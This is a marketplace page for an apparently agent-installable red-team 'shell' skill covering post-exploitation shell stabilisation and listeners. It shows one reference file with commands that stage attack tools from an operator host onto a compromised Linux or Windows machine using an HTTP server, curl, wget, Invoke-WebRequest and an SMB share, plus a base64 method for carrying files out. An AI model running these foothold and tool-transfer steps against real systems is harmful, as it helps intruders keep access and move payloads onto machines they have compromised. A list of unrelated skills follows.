pale-knight/redteam-skill / skills/shell
shell
FlaggedShell and session operations after an attack module already established command execution, a raw shell, webshell channel, container/runner shell, or remote session. This module does not own exploitation and should not pull SSH/WinRM/RDP authentication or vulnerability-to-shell chains out of Web/AD/Cloud/K8s/CI-CD/Service/Phishing. Use it to bootstrap a usable callback from existing command execution, stabilize Linux PTY, upgrade Windows sessions with ConPTY where applicable, manage listeners, recover fragile sessions, and exchange files for continued operations.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 4.3 KB |
| references/SOURCES.md | markdown | 400 B |
| references/file-transfer.md | markdown | 853 B |
| references/linux-pty.md | markdown | 609 B |
| references/listeners-recovery.md | markdown | 748 B |
| references/session-bootstrap.md | markdown | 1.0 KB |
| references/windows-conpty.md | markdown | 912 B |
references/file-transfer.md
View on GitHub# File Exchange from an Existing Foothold
## 1. HTTP
攻击端:
```bash
python3 -m http.server 8000 --bind 0.0.0.0
```
Linux:
```bash
curl -f http://OPERATOR:8000/tool -o /tmp/tool
wget http://OPERATOR:8000/tool -O /tmp/tool
```
Windows:
```powershell
curl.exe http://OPERATOR:8000/tool.exe -o C:\Windows\Temp\tool.exe
Invoke-WebRequest http://OPERATOR:8000/tool.exe -OutFile C:\Windows\Temp\tool.exe
```
## 2. SMB
攻击端:
```bash
impacket-smbserver share ./share -smb2support
```
Windows:
```cmd
copy \\OPERATOR\share\tool.exe C:\Windows\Temp\tool.exe
```
## 3. base64 fallback
Linux:
```bash
base64 -w0 file.bin
```
Windows PowerShell:
```powershell
[Convert]::ToBase64String([IO.File]::ReadAllBytes('file.bin'))
```
## 4. 边界
工具交换属于 `/shell`;大规模数据 staging/exfiltration 属于 `/post`。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 471k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 471k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 471k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |